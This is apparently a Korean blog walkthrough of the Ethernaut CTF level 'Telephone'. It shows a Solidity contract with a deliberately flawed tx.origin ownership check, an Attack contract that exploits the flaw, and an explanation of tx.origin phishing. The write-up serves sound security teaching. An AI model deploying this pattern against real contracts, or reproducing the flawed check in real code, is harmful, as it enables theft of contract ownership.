[Ethernaut] 4. Telephone

Ethernaut · 5/36
  1. 0. Hello Ethernaut
  2. 1. Fallback
  3. 2. Fallout
  4. 3. CoinFlip
  5. 4. Telephone
  6. 5. Token
  7. 6. Delegation
  8. 7. Force
  9. 8. Vault
  10. 9. King
  11. 10. Re-entrancy
  12. 11. Elevator
  13. 12. Privacy
  14. 13. Gatekeeper One
  15. 14. Gatekeeper Two
  16. 15. Naught Coin
  17. 16. Preservation
  18. 17. Recovery
  19. 18. MagicNumber
  20. 19. Alien Codex
  21. 20. Denial
  22. 21. Shop
  23. 22. Dex
  24. 23. Dex Two
  25. 24. Puzzle Wallet
  26. 25. Motorbike
  27. 26. DoubleEntryPoint
  28. 27. Good Samaritan
  29. 28. Gatekeeper Three
  30. 29. Switch
  31. 30. HigherOrder
  32. 31. Stake
  33. 32. Impersonator
  34. 33. Magic Animal Carousel
  35. 34. Bet House
  36. 35. Elliptic Token

1. 문제

아래 컨트랙트의 소유권을 탈취하라.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

2. 해법

 기름기 싹 빼고 해법만 간단하게 적겠습니다.

 이번에도 3번 문제와 유사하게 Telephone 컨트랙트를 공격하는 Attack 컨트랙트를 작성하고 배포합니다.

contract Attack {
    address public telephoneAddress;

    constructor(address _telephoneAddress) {
        telephoneAddress = _telephoneAddress;
    }

    function attack() public {
        Telephone telephone = Telephone(telephoneAddress);
        telephone.changeOwner(msg.sender);
    }
}

 그리고 attack 함수를 호출하면 Telephone 컨트랙트의 소유권을 탈취할 수 있습니다.


3. tx.origin

 tx.origin은 트랜잭션의 발신자를 가리키는 전역 변수입니다. 이 문제는 tx.origin으로 인해 발생할 수 있는 피싱 문제를 다루고 있는데요. 다음과 같은 순서로 트랜잭션이 실행된다고 봅시다. Attack 컨트랙트의 attack 함수를 실행하면 메타마스크 팝업창이 뜨고, 지갑의 소유자가 확인 버튼을 누르면 트랜잭션이 실행됩니다.

 이때 tx.origin은 다음과 같습니다. tx.origin은 attack 함수에서도 changeOwner에서도 동일하게 적용됩니다.

 attack 함수에서는 다음과 같이 msg.sender를 changeOwner의 인수로 넘겨주게 되는데 이는 곧 사용자의 지갑 주소를 의미합니다. attack 함수를 호출한 것은 사용자이니까요.

telephone.changeOwner(msg.sender);

 Telephone 컨트랙트의 changeOwner 함수는 _owner 매개변수로 사용자의 지갑 주소를 받아 컨트랙트 소유자를 변경하기 위한 조건을 판별하는데 여기서 tx.origin은 사용자의 지갑 주소이지만 changeOwner 함수를 직접적으로 호출한 것은 Attack 컨트랙트의 attack 함수이기 때문에 changeOwner에서 불러온 msg.sender 값은 Attack 컨트랙트의 주소가 됩니다.

 따라서 tx.origin과 msg.sender가 다르기 때문에 Telephone 컨트랙트의 소유자를 사용자의 지갑 주소로 변경하게 됩니다.


4. 결론

인가, 인증을 위해 tx.origin을 사용하지 말자.